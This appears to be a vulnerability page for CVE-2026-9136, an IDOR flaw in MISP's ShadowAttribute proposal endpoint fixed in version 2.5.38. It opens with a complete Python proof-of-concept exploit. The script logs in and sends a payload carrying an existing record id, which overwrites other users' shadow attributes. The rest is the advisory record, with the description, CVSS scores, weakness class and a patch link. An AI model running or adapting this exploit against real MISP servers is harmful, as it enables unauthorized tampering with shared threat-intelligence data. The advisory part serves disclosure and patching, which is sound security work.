CVE-2026-9136

import requests import json # CVE-2026-9136 PoC - ShadowAttribute IDOR # Target: MISP < 2.5.38 TARGET_URL = "https://target-misp-instance.com" LOGIN_EMAIL = "[email protected]" LOGIN_PASSWORD = "password123" TARGET_SHADOW_ATTRIBUTE_ID = 12345 # ID of existing shadow attribute to modify EVENT_ID = 67890 # Target event ID def login(): """Authenticate to MISP and get authkey""" session = requests.Session() login_url = f"{TARGET_URL}/users/login" response = session.post(login_url, json={ "email": LOGIN_EMAIL, "password": LOGIN_PASSWORD }) return session if response.status_code == 200 else None def exploit_shadow_attribute_idor(session): """Exploit the IDOR vulnerability by providing existing ID""" # Normal proposal creation - creates new record normal_payload = { "ShadowAttribute": { "event_id": EVENT_ID, "category": "Internal reference", "type": "comment", "value": "Malicious proposal" } } # Malicious payload - overwrites existing record due to IDOR malicious_payload = { "ShadowAttribute": { "id": TARGET_SHADOW_ATTRIBUTE_ID, # Existing record ID "event_id": EVENT_ID, "category": "Internal reference", "type": "comment", "value": "Modified by attacker via IDOR" } } # Send malicious request exploit_url = f"{TARGET_URL}/shadow_attributes/add" response = session.post(exploit_url, json=malicious_payload) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 def main(): session = login() if session: success = exploit_shadow_attribute_idor(session) print(f"Exploit {'successful' if success else 'failed'}") else: print("Authentication failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-9136", "sourceIdentifier": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "published": "2026-05-20T20:16:46.013", "lastModified": "2026-06-02T16:34:45.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in the ShadowAttribute proposal creation workflow. The add action accepted user-controlled ShadowAttribute request data without removing the id field before saving the record. Because the underlying framework treats a supplied primary key as an instruction to update an existing record, an authenticated user able to submit shadow attribute proposals could provide the identifier of an existing ShadowAttribute and cause that record to be updated instead of creating a new proposal.\n\n\n\n\nThis can result in unauthorized modification of existing shadow attributes, potentially affecting proposals associated with events the user should not be able to alter. Depending on deployment configuration and accessible API responses, the issue may also expose or move proposal data across event contexts.\n\n\n\n\nThe vulnerability is caused by trusting a client-supplied primary key during object creation. The fix removes the id field from incoming ShadowAttribute data before processing, ensuring that the endpoint always creates a new proposal rather than updating an existing one. This has been fixed in MISP 2.5.38."}], "metrics": {"cvssMetricV40": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:misp:misp:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.5.0", "versionEndExcluding": "2.5.38", "matchCriteriaId": "FA00E7DB-EF07-49DE-8103-33FEADA77C89"}]}]}], "references": [{"url": "https://github.com/MISP/MISP/commit/49911b1d4b6e4517d803e50e3d980aaa4d37c16d", "source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "tags": ["Patch"]}]}}